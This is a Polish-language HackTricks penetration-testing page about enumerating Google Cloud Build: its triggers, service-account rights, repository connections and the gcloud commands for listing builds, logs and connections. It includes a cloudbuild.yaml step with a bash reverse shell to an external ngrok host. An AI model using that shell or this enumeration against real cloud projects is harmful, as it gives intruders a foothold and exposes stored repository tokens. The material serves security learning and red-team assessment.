GCP - Cloud Build Enum

Naucz się hakować AWS od zera do bohatera z htARTE (HackTricks AWS Red Team Expert)!

Inne sposoby wsparcia HackTricks:

Podstawowe informacje

Google Cloud Build to zarządzana platforma CI/CD, która automatyzuje procesy budowy oprogramowania i wydawania, integrując się z repozytoriami kodu źródłowego i obsługując szeroki zakres języków programowania. Umożliwia programistom automatyczną budowę, testowanie i wdrażanie kodu, zapewniając jednocześnie elastyczność w dostosowywaniu kroków budowy i przepływów pracy.

Każdy wyzwalacz Cloud Build jest powiązany z Repozytorium Cloud lub bezpośrednio połączony z zewnętrznym repozytorium (Github, Bitbucket i Gitlab).

Nie widziałem sposobu na kradzież tokenu Github/Bitbucket stąd ani z Repozytoriów Cloud, ponieważ po pobraniu repozytorium jest ono dostępne za pośrednictwem adresu URL https://source.cloud.google.com/, a Github nie jest dostępny dla klienta.

Wydarzenia

Cloud Build może zostać wywołany, jeśli:

  • Wprowadzono zmiany do gałęzi: Określ gałąź

  • Dodano nowy znacznik: Określ znacznik

  • Pull request: Określ gałąź, która otrzymuje PR

  • Ręczne wywołanie

  • Wiadomość Pub/Sub: Określ temat

  • Zdarzenie webhook: Ujawni adres URL HTTPS, a żądanie musi być uwierzytelnione za pomocą sekretu

Wykonanie

Istnieją 3 opcje:

  • Plik yaml/json określający polecenia do wykonania. Zazwyczaj: /cloudbuild.yaml

  • Jedna, która może być określona „w linii” w konsoli internetowej i w wierszu poleceń

  • Najczęstsza opcja

  • Istotna dla dostępu nieuwierzytelnionego

  • Dockerfile do budowy

  • Buildpack do budowy

Uprawnienia SA

Konto usługi ma zakres cloud-platform, dzięki czemu może korzystać ze wszystkich uprawnień. Jeśli nie jest określone żadne konto usługi (jak przy przesyłaniu), zostanie użyte domyślne konto usługi <numer-projektu>@cloudbuild.gserviceaccount.com.

Domyślnie nie są udzielane żadne uprawnienia, ale jest dość łatwo nadać je:

Zatwierdzenia

Możliwe jest skonfigurowanie Cloud Build do wymagania zatwierdzeń dla wykonania budowy (domyślnie wyłączone).

Zatwierdzenia PR

Gdy wyzwalacz to PR, ponieważ każdy może wykonać PR do publicznych repozytoriów, byłoby bardzo niebezpiecznie pozwolić na wykonanie wyzwalacza z dowolnym PR. Dlatego domyślnie wykonanie będzie automatyczne dla właścicieli i współpracowników, a aby wykonać wyzwalacz z PR innych użytkowników, właściciel lub współpracownik musi dodać komentarz /gcbrun.

Połączenia i Repozytoria

Połączenia można utworzyć za pomocą:

  • GitHub: Wyświetli monit OAuth proszący o uprawnienia do uzyskania tokenu Github, który zostanie przechowywany w Menedżerze Sekretów.

  • GitHub Enterprise: Poprosi o zainstalowanie GithubApp. Token uwierzytelniający z hosta GitHub Enterprise zostanie utworzony i przechowywany w tym projekcie jako sekret Menedżera Sekretów.

  • GitLab / Enterprise: Należy podać token dostępu do API i token dostępu do odczytu API, które zostaną przechowywane w Menedżerze Sekretów.

Po utworzeniu połączenia można go użyć do powiązania repozytoriów, do których konto Github ma dostęp.

Ta opcja jest dostępna za pomocą przycisku:

Zauważ, że repozytoria połączone w ten sposób są dostępne tylko w wyzwalaczach korzystających z 2. generacji.

Połącz repozytorium

To nie to samo co połączenie. Pozwala to na różne sposoby uzyskania dostępu do repozytorium Github lub Bitbucket, ale nie generuje obiektu połączenia, ale generuje obiekt repozytorium (1. generacji).

Ta opcja jest dostępna za pomocą przycisku:

Przechowywanie

Czasami Cloud Build wygeneruje nowe miejsce przechowywania plików dla wyzwalacza. Dzieje się to na przykład w przykładzie, który oferuje GCP z:

git clone https://github.com/GoogleCloudBuild/cloud-console-sample-build && \
cd cloud-console-sample-build && \
gcloud builds submit --config cloudbuild.yaml --region=global

Uzyskaj dostęp do powłoki

Utworzono kubełek o nazwie security-devbox_cloudbuild, aby przechowywać plik .tgz z plikami do użycia.

steps:
- name: bash
script: |
#!/usr/bin/env bash
bash -i >& /dev/tcp/5.tcp.eu.ngrok.io/12395 0>&1
options:
logging: CLOUD_LOGGING_ONLY

Zainstaluj gcloud wewnątrz Cloud Build:

# https://stackoverflow.com/questions/28372328/how-to-install-the-google-cloud-sdk-in-a-docker-image
curl https://dl.google.com/dl/cloudsdk/release/google-cloud-sdk.tar.gz > /tmp/google-cloud-sdk.tar.gz
mkdir -p /usr/local/gcloud
tar -C /usr/local/gcloud -xvf /tmp/google-cloud-sdk.tar.gz
/usr/local/gcloud/google-cloud-sdk/install.sh

Wyliczanie

Możesz znaleźć wrażliwe informacje w konfiguracjach budowy i logach.

# Get configured triggers configurations
gcloud builds triggers list # Check for the words github and bitbucket
gcloud builds triggers describe <trigger-name>

# Get build executions
gcloud builds list
gcloud builds describe <build-uuid> # Get even the build yaml if defined in there
gcloud builds log <build-uuid> # Get build logs

# List all connections of each region
regions=("${(@f)$(gcloud compute regions list --format='value(name)')}")
for region in $regions; do
echo "Listing build connections in region: $region"
connections=("${(@f)$(gcloud builds connections list --region="$region" --format='value(name)')}")
if [[ ${#connections[@]} -eq 0 ]]; then
echo "No connections found in region $region."
else
for connection in $connections; do
echo "Describing connection $connection in region $region"
gcloud builds connections describe "$connection" --region="$region"
echo "-----------------------------------------"
done
fi
echo "========================================="
done

# List all worker-pools
regions=("${(@f)$(gcloud compute regions list --format='value(name)')}")
for region in $regions; do
echo "Listing build worker-pools in region: $region"
gcloud builds worker-pools list --region="$region"
echo "-----------------------------------------"
done

Eskalacja uprawnień

pageGCP - Cloudbuild Privesc

Nieuwierzytelniony dostęp

pageGCP - Cloud Build Unauthenticated Enum

Po wykorzystaniu

pageGCP - Cloud Build Post Exploitation
Naucz się hakować AWS od zera do bohatera z htARTE (HackTricks AWS Red Team Expert)!

Inne sposoby wsparcia HackTricks:

Last updated